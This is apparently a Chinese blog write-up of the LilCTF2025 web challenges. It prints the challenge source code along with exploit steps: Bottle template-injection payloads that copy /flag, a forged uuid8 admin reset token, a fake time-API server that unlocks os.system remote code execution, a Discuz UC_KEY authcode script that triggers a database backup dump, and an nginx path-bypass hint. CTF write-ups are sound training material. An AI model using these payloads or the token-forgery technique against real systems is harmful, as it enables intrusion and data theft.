LilCTF2025web(前半部分)

张开发
2026/4/11 13:33:45 15 分钟阅读

分享文章

LilCTF2025web(前半部分)
ez_bottlefrom bottle import route, run, template, post, request, static_file, error import os import zipfile import hashlib import time #导入了 Bottle 的核心路由、模板渲染、请求处理、静态文件服务和错误处理装饰器。 #os文件系统操作路径、目录、realpath 等 #zipfile处理用户上传的 zip 压缩包 #hashlib生成唯一目录名防碰撞 #time用于生成唯一目录名 # hint: flag in /flag , have a try #flag 文件在服务器根目录 /flag UPLOAD_DIR os.path.join(os.path.dirname(__file__), uploads) os.makedirs(UPLOAD_DIR, exist_okTrue) #上传文件统一解压到 ./uploads/ 目录下 STATIC_DIR os.path.join(os.path.dirname(__file__), static) MAX_FILE_SIZE 1 * 1024 * 1024 #静态文件目录和最大上传大小限制1MB BLACK_DICT [{, }, os, eval, exec, sock, , , bul, class, ?, :, bash, _, globals, get, open] #用于后续检测文件内容是否包含危险字符/关键字 #黑名单非常不完善缺少很多关键绕过字符如 []~! 等 #也缺少 .__、[ ] 组合等常见 SSTI 绕过方式 def contains_blacklist(content): return any(black in content for black in BLACK_DICT) #简单字符串包含检测只要文件内容里出现黑名单中的任意一个字符串就判定为 hacker。 def is_symlink(zipinfo): return (zipinfo.external_attr 16) 0o170000 0o120000 #判断 zip 中的文件是否为符号链接symlink。 #这是常见的 zip symlink 攻击检测方式。 def is_safe_path(base_dir, target_path): return os.path.realpath(target_path).startswith(os.path.realpath(base_dir)) #路径穿越防护使用 realpath startswith 判断解压后的文件是否仍在 extract_dir 目录内。 #注意这个防护在很多情况下是可以绕过的尤其是结合 symlink 或 zip 特性。 route(/) def index(): return static_file(index.html, rootSTATIC_DIR) #首页返回 static/index.html route(/static/filename) def server_static(filename): return static_file(filename, rootSTATIC_DIR) #静态文件服务 route(/upload) def upload_page(): return static_file(upload.html, rootSTATIC_DIR) #上传页面 post(/upload) def upload(): #核心上传处理函数 zip_file request.files.get(file) if not zip_file or not zip_file.filename.endswith(.zip): return Invalid file. Please upload a ZIP file. #必须上传 .zip 文件 if len(zip_file.file.read()) MAX_FILE_SIZE: return File size exceeds 1MB. Please upload a smaller ZIP file. zip_file.file.seek(0) current_time str(time.time()) unique_string zip_file.filename current_time md5_hash hashlib.md5(unique_string.encode()).hexdigest() extract_dir os.path.join(UPLOAD_DIR, md5_hash) os.makedirs(extract_dir) #使用 filename 时间 的 MD5 作为目录名基本能保证唯一性 #保存为 upload.zip #遍历 infolist() 检查 #不允许 symlink #不允许路径穿越../ 等 zip_path os.path.join(extract_dir, upload.zip) zip_file.save(zip_path) try: with zipfile.ZipFile(zip_path, r) as z: for file_info in z.infolist(): if is_symlink(file_info): return Symbolic links are not allowed. real_dest_path os.path.realpath(os.path.join(extract_dir, file_info.filename)) if not is_safe_path(extract_dir, real_dest_path): return Path traversal detected. z.extractall(extract_dir) except zipfile.BadZipFile: return Invalid ZIP file. files os.listdir(extract_dir) files.remove(upload.zip) return template(文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}, files, .join(files), md5md5_hash, first_filefiles[0] if files else nofile) #列出解压出的所有文件除 upload.zip 外 #提示用户访问 /view/md5/filename 来查看文件实际是渲染模板 route(/view/md5/filename) def view_file(md5, filename): file_path os.path.join(UPLOAD_DIR, md5, filename) if not os.path.exists(file_path): return File not found. with open(file_path, r, encodingutf-8) as f: content f.read() #接读取用户上传的文件内容。 if contains_blacklist(content): return you are hacker!!!nonono!!! #黑名单检测 — 这就是主要防护但很弱。 try: return template(content) except Exception as e: return fError rendering template: {str(e)} #SSTI 核心漏洞把用户可控的内容直接传给 bottle.template() 渲染。 #Bottle 默认使用 SimpleTemplate语法类似 {{ }}、% % 等支持 Python 表达式。 error(404) def error404(error): return bbbbbboooottle error(403) def error403(error): return Forbidden: You dont have permission to access this resource. if __name__ __main__: run(host0.0.0.0, port5000, debugFalse)进来后就一个页面什么用都没有直接分析源码知识点总结Bottle #是一个用 Python 编写的微型 Web 框架Micro-framework #它的核心特点是极简整个框架只有一个文件bottle.py #且除了 Python 标准库外没有任何第三方依赖 Symlink #符号链接全称 Symbolic Link也被称为“软链接”Soft Link #它是一个特殊的文件其内容包含指向另一个文件或目录的路径 os.path.realpath 和 startswith #组合是处理路径安全和静态文件访问的经典模式 SimpleTemplate #是一个轻量级、快速且易于使用的 Python 模板引擎 #通常与 Bottle Web 框架配合使用。它的设计理念是“语法精简”尽可能贴近原生 Python 代码这是一个使用 Bottle 框架的 Web 服务允许用户上传 .zip 文件服务器会解压到随机目录然后提供一个 /view// 接口把解压出来的文件内容当作 Bottle Template即 Jinja2-like 模板直接渲染由于是前端没有给直接的上传入口所以需要写脚本进行上传内容import requests import re BASE_URL http://ip:port with open(payload.zip, rb) as file: files {file: (payload.zip, file)} res requests.post(urlf{BASE_URL}/upload, filesfiles) upload_response res.text print(Upload Response:, upload_response) match re.search(r/view/([\w-])/([\w\-]), upload_response) if not match: print(Failed to extract MD5 and filename from response.) exit() md5, filename match.groups() print(fExtracted MD5: {md5}, Filename: {filename}) view_res requests.get(f{BASE_URL}/view/{md5}/{filename}) print(Response:, view_res.text)方案一 % import shutil;shutil.copy(/flag, ./aaa) 方案二 %import subprocess; subprocess.call([cp, /flag, ./aaa]) 之后再include读取 % include(aaa)成功获取flagEkko_note# -*- encoding: utf-8 -*- File : app.py Time : 2066/07/05 19:20:29 Author : Ekko exec inc. 某牛马程序员 import os import time import uuid import requests from functools import wraps from datetime import datetime from secrets import token_urlsafe from flask_sqlalchemy import SQLAlchemy from werkzeug.security import generate_password_hash, check_password_hash from flask import Flask, render_template, redirect, url_for, request, flash, session SERVER_START_TIME time.time() # 欸我艹这两行代码测试用的忘记删了欸算了都发布了我们都在用力地活着跟我的下班说去吧。 # 反正整个程序没有一个地方用到random库。应该没有什么问题。 import random random.seed(SERVER_START_TIME) #这里将 random 库的种子固定为服务器启动时间 #虽然作者注释说没用到 random但这通常是干扰项或预留的后门线索 #admin_super_strong_password token_urlsafe() 生成一个随机的高强度密码 #这意味着你无法通过爆破进入 admin 账户 admin_super_strong_password token_urlsafe() app Flask(__name__) app.config[SECRET_KEY] your-secret-key-here app.config[SQLALCHEMY_DATABASE_URI] sqlite:///site.db app.config[SQLALCHEMY_TRACK_MODIFICATIONS] False db SQLAlchemy(app) class User(db.Model): id db.Column(db.Integer, primary_keyTrue) username db.Column(db.String(20), uniqueTrue, nullableFalse) email db.Column(db.String(120), uniqueTrue, nullableFalse) password db.Column(db.String(60), nullableFalse) is_admin db.Column(db.Boolean, defaultFalse) time_api db.Column(db.String(200), defaulthttps://api.uuni.cn//api/time) #User 模型包含 is_admin 权限字段和 time_api 字段 #time_api 默认指向一个外部 URL这是后续 SSRF服务端请求伪造或命令执行的关键 PasswordResetToken 模型存储找回密码的 token class PasswordResetToken(db.Model): id db.Column(db.Integer, primary_keyTrue) user_id db.Column(db.Integer, db.ForeignKey(user.id), nullableFalse) token db.Column(db.String(36), uniqueTrue, nullableFalse) used db.Column(db.Boolean, defaultFalse) def padding(input_string): byte_string input_string.encode(utf-8) if len(byte_string) 6: byte_string byte_string[:6] padded_byte_string byte_string.ljust(6, b\x00) padded_int int.from_bytes(padded_byte_string, byteorderbig) return padded_int with app.app_context(): db.create_all() if not User.query.filter_by(usernameadmin).first(): admin User( usernameadmin, emailadminexample.com, passwordgenerate_password_hash(admin_super_strong_password), is_adminTrue ) db.session.add(admin) db.session.commit() def login_required(f): wraps(f) def decorated_function(*args, **kwargs): if user_id not in session: flash(请登录, danger) return redirect(url_for(login)) return f(*args, **kwargs) return decorated_function def admin_required(f): wraps(f) def decorated_function(*args, **kwargs): if user_id not in session: flash(请登录, danger) return redirect(url_for(login)) user User.query.get(session[user_id]) if not user.is_admin: flash(你不是admin, danger) return redirect(url_for(home)) return f(*args, **kwargs) return decorated_function #padding 函数将用户名的前 6 位转换为大端序整数。这是为生成特定 UUID 准备的。 #admin_required 装饰器检查 session[user_id] 是否具有管理员权限 def check_time_api(): user User.query.get(session[user_id]) try: response requests.get(user.time_api) data response.json() #它会请求用户定义的 time_api。如果攻击者能修改自己的 time_api #就可以利用服务器发起请求SSRF #它还要求返回的 JSON 中 date 字段的年份必须 $\ge 2066$ datetime_str data.get(date) if datetime_str: print(datetime_str) current_time datetime.fromisoformat(datetime_str) return current_time.year 2066 except Exception as e: return None return None app.route(/) def home(): return render_template(home.html) app.route(/server_info) login_required def server_info(): return { server_start_time: SERVER_START_TIME, current_time: time.time() } #/server_info暴露了 SERVER_START_TIME #如果你需要预测基于时间的伪随机数这个接口提供了精确的种子值 app.route(/register, methods[GET, POST]) def register(): if request.method POST: username request.form.get(username) email request.form.get(email) password request.form.get(password) confirm_password request.form.get(confirm_password) if password ! confirm_password: flash(密码错误, danger) return redirect(url_for(register)) existing_user User.query.filter_by(usernameusername).first() if existing_user: flash(已经存在这个用户了, danger) return redirect(url_for(register)) existing_email User.query.filter_by(emailemail).first() if existing_email: flash(这个邮箱已经被注册了, danger) return redirect(url_for(register)) hashed_password generate_password_hash(password) new_user User(usernameusername, emailemail, passwordhashed_password) db.session.add(new_user) db.session.commit() flash(注册成功请登录, success) return redirect(url_for(login)) return render_template(register.html) app.route(/login, methods[GET, POST]) def login(): if request.method POST: username request.form.get(username) password request.form.get(password) user User.query.filter_by(usernameusername).first() if user and check_password_hash(user.password, password): session[user_id] user.id session[username] user.username session[is_admin] user.is_admin flash(登陆成功欢迎!, success) return redirect(url_for(dashboard)) else: flash(用户名或密码错误!, danger) return redirect(url_for(login)) return render_template(login.html) app.route(/logout) login_required def logout(): session.clear() flash(成功登出, info) return redirect(url_for(home)) app.route(/dashboard) login_required def dashboard(): return render_template(dashboard.html) app.route(/forgot_password, methods[GET, POST]) def forgot_password(): if request.method POST: email request.form.get(email) user User.query.filter_by(emailemail).first() if user: # 选哪个UUID版本好呢好头疼 _ # UUID v8吧看起来版本比较新 token str(uuid.uuid8(apadding(user.username))) # 可以自定义参数吗原来那把username放进去吧 #这里使用了自定义参数 apadding(user.username) 生成 UUID v8 #uuid8 的生成逻辑通常是确定性的基于传入的参数。 #因为 padding 只依赖于 username所以任何人都可以本地计算出 admin 的重置 token #从而重置管理员密码 reset_token PasswordResetToken(user_iduser.id, tokentoken) db.session.add(reset_token) db.session.commit() # TODO写一个SMTP服务把token发出去 flash(f密码恢复token已经发送请检查你的邮箱, info) return redirect(url_for(reset_password)) else: flash(没有找到该邮箱对应的注册账户, danger) return redirect(url_for(forgot_password)) return render_template(forgot_password.html) app.route(/reset_password, methods[GET, POST]) def reset_password(): if request.method POST: token request.form.get(token) new_password request.form.get(new_password) confirm_password request.form.get(confirm_password) if new_password ! confirm_password: flash(密码不匹配, danger) return redirect(url_for(reset_password)) reset_token PasswordResetToken.query.filter_by(tokentoken, usedFalse).first() if reset_token: user User.query.get(reset_token.user_id) user.password generate_password_hash(new_password) reset_token.used True db.session.commit() flash(成功重置密码请重新登录, success) return redirect(url_for(login)) else: flash(无效或过期的token, danger) return redirect(url_for(reset_password)) return render_template(reset_password.html) app.route(/execute_command, methods[GET, POST]) login_required def execute_command(): result check_time_api() if result is None: flash(API死了啦都你害的啦。, danger) return redirect(url_for(dashboard)) if not result: flash(2066年才完工哈你可以穿越到2066年看看, danger) return redirect(url_for(dashboard)) if request.method POST: command request.form.get(command) os.system(command) # 什么你说安全不是都说了还没完工催什么。 return redirect(url_for(execute_command)) return render_template(execute_command.html) #准入门槛必须通过 check_time_api() #这意味着你需要控制 time_api 返回一个年份 $\ge 2066$ 的 JSON。核心漏洞os.system(command) #直接将用户输入的字符串放入系统 shell 执行 #这是最高级别的安全漏洞可以直接控制服务器 app.route(/admin/settings, methods[GET, POST]) admin_required def admin_settings(): user User.query.get(session[user_id]) if request.method POST: new_api request.form.get(time_api) user.time_api new_api db.session.commit() flash(成功更新API, success) return redirect(url_for(admin_settings)) #逻辑矛盾普通用户无法访问此页面修改 API #但 execute_command 又要求 API 返回特定值。这暗示了攻击路径 #先通过 UUID 漏洞重置 admin 密码 - 登录 admin - 修改 API 绕过时间检查 - 执行系统命令 return render_template(admin_settings.html, time_apiuser.time_api) if __name__ __main__: app.run(debugFalse, host0.0.0.0)#代码总结一下就是有一个time_api默认值是https://api.uuni.cn//api/time 可以获得现在的时间 #这个web app有一个任意RCE的接口但是必须要从这个time_api中获取的时间大于2066年才可以 #而存在一个admin账户他可以设置time_api的值。关于这些思路主页也给出了引导首先注册一个用户在/server_info页面可以查看当前时间import random import uuid random.seed(1754662952.3222806) def padding(input_string): byte_string input_string.encode(utf-8) if len(byte_string) 6: byte_string byte_string[:6] padded_byte_string byte_string.ljust(6, b\x00) padded_int int.from_bytes(padded_byte_string, byteorderbig) return padded_int print(uuid.uuid8(apadding(admin))) Python 的内置 uuid 模块在 3.14 版本之前并不支持 uuid8我不想更新python,因为3.14不好用我就说思路了,这里可以直接伪造admin的token在登录页面点击忘记密码输入admin的邮箱(题目中有)再输入伪造的token,修改密码进入管理员设置更改时间API只使用了date字段来判断当前的时间。在VPS上起一个假的时间API返回2066年之后时间的datetime字段的json数据。from http.server import BaseHTTPRequestHandler, HTTPServer import json class JSONRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path /: data {date: 2099-07-05 00:00:00} self.send_response(200) self.send_header(Content-Type, application/json) self.end_headers() self.wfile.write(json.dumps(data).encode(utf-8)) def run(server_classHTTPServer, handler_classJSONRequestHandler, port5051): server_address (0.0.0.0, port) httpd server_class(server_address, handler_class) httpd.serve_forever() if __name__ __main__: run()把API改过去成功获得任意RCE功能之后就是弹shell时盲whatever。想怎么打就怎么打。这个题到这里就结束了我曾有一份工作扫目录可以得到 www.zip在 www.zip 里面泄露了 UC_KEY可以使用这个key去调用api的接口接口的功能需要代码审计不只有下面这个路由有这个功能在 api/db/dbbak.php里可以备份数据库且备份后的路径是可访问调用 export 方法即可code参数的加解密要抄源码里的?php define(UC_KEY, N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb); function _authcode($string, $operation DECODE, $key , $expiry 0) { $ckey_length 4; $key md5($key ? $key : UC_KEY); $keya md5(substr($key, 0, 16)); $keyb md5(substr($key, 16, 16)); $keyc $ckey_length ? ($operation DECODE ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ; $cryptkey $keya.md5($keya.$keyc); $key_length strlen($cryptkey); $string $operation DECODE ? base64_decode(substr($string, $ckey_length)) : sprintf(%010d, $expiry ? $expiry time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length strlen($string); $result ; $box range(0, 255); $rndkey array(); for($i 0; $i 255; $i) { $rndkey[$i] ord($cryptkey[$i % $key_length]); } for($j $i 0; $i 256; $i) { $j ($j $box[$i] $rndkey[$i]) % 256; $tmp $box[$i]; $box[$i] $box[$j]; $box[$j] $tmp; } for($a $j $i 0; $i $string_length; $i) { $a ($a 1) % 256; $j ($j $box[$a]) % 256; $tmp $box[$a]; $box[$a] $box[$j]; $box[$j] $tmp; $result . chr(ord($string[$i]) ^ ($box[($box[$a] $box[$j]) % 256])); } if($operation DECODE) { if(((int)substr($result, 0, 10) 0 || (int)substr($result, 0, 10) - time() 0) substr($result, 10, 16) substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ; } } else { return $keyc.str_replace(, , base64_encode($result)); } } function encode_arr($get) { $tmp ; foreach($get as $key $val) { $tmp . .$key..$val; } return _authcode($tmp, ENCODE, UC_KEY); } $get array(timetime(),methodexport); $res encode_arr($get); echo $res;/api/db/dbbak.php?code21049fuLv9o6afBN22deHH%2B6dyI5Z6aEHUsLaZPWVH1nkTYNXZyOHFIDciz1Kacp%2FHQLiet1huULAgsapptypediscuzx最后访问得到的 sql文件将备份的数据库下载下来在里面能够找到flag需要注意的是dump下来的数据用了hex编码找flag的时候可以使用flag头去定位0x4c494c4354467b37396161333731302d326238352d343233372d386333352d6662366231346566363830637d 解码结果 LILCTF{79aa3710-2b85-4237-8c35-fb6b14ef680c}成功获取flag[WARM UP] 接力TurboFlash题目源码:# pylint: disablemissing-module-docstring,missing-function-docstring import os from flask import Flask app Flask(__name__) app.route(/) def index(): return h1Hello, CTFer!/h1 app.route(/secret) def secret(): return os.getenv(LILCTF_FLAG, LILCTF{default}) if __name__ __main__: app.run(0.0.0.0, 8080, debugFalse)Nginx 会屏蔽 /secret 和 /secret/ 后接任意路径的请求 实际上也会屏蔽 /./secret/, /SeCrEt, /%73ecret 等等你能想到的绕过方式 而 Flask 会在访问到 /secret 路由时返回 flag 我们需要寻找不被 Nginx 认为算是 /secret但会被 Flask 认为算是 /secret 的路径https://github.com/dub-flow/path-normalization-bypasses

更多文章